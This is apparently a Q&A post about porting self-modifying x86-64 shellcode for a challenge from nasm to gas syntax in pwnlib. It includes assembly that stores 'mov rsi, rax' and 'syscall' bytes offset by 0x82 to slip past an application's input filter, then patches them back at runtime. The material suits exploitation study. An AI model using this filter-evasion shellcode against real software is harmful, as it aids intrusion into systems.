I'm using pwnlib
to write a small shellcode for a challenge. My shellcode needs to modify itself to pass application filters. I first wrote it with nasm, and did something like that:
sub edx, edx
mov dl, 0x82
add al, do_mov_rdi_rax
sub dword [rax], edx
mov dh, 0x82
add al, do_syscall - do_mov_rdi_rax
sub dword [rax], edx
shr edi, 31
do_mov_rdi_rax:
; mov rsi, rax
; (with 0x82 added to first byte to pass validation)
db 0xca, 0x89, 0xc6
sub eax, eax
do_syscall:
; syscall
; (with 0x82 added to both bytes to pass validation)
db 0x91, 0x87
Pwnlib uses gas
, however, so my assembly code has to conform to its syntax. Besides the obvious (//
instead of ;
, .byte
instead of db
), I'm stuck with one last problem: while nasm
happily converted my labels to integers (for add al, do_mov_rdi_rax
and add al, do_syscall - do_mov_rdi_rax
), gas
keeps telling me that it can't represent addressing type BFD_RELOC_8
, or something like that (I somehow ended up with a French version of gas
, sorry for the lacking error message).
How can I get the address of the labels as integers? My shellcode is based at address 0 (and gas is told with .org 0x0
).
Since labels wouldn't work, I dug through the gas
documentation and found that it's also possible to create expression symbols, and that one could use .
to get the location's address. As it turns out, with the Mach-O output format, gas
will accept this:
.set main, .
sub edx, edx
mov dl, 0x82
add al, do_mov_rdi_rax - main
sub dword [rax], edx
mov dh, 0x82
add al, do_syscall - do_mov_rdi_rax
sub dword [rax], edx
shr edi, 31
.set do_mov_rdi_rax, .
// mov rsi, rax
// (with 0x82 added to first byte to pass validation)
.byte 0xca, 0x89, 0xc6
sub eax, eax
.set do_syscall, .
// syscall
// (with 0x82 added to both bytes to pass validation)
.byte 0x91, 0x87
On the first add, simply using do_mov_rdi_rax
wouldn't work, but using the difference between it and main
worked perfectly. (Replacing main
with a literal zero, however, would not do it.)
There are other problems with it, though: support for sub dword [rax], edx
appears to be lacking. With gas 2.25 on my Mac, it got assembled as sub dword [rax+4], edx
, which is very wrong. The version of as
that ships with Xcode refuses to assemble it, citing absolute 32-bit addressing use; gas 2.24.90 for Debian also refused to assemble it because there would be too many memory references, somehow. Because this is all incorrect, I'll stick with a nasm-assembled binary version of the shellcode instead of using pwnlib's asm
to compile it.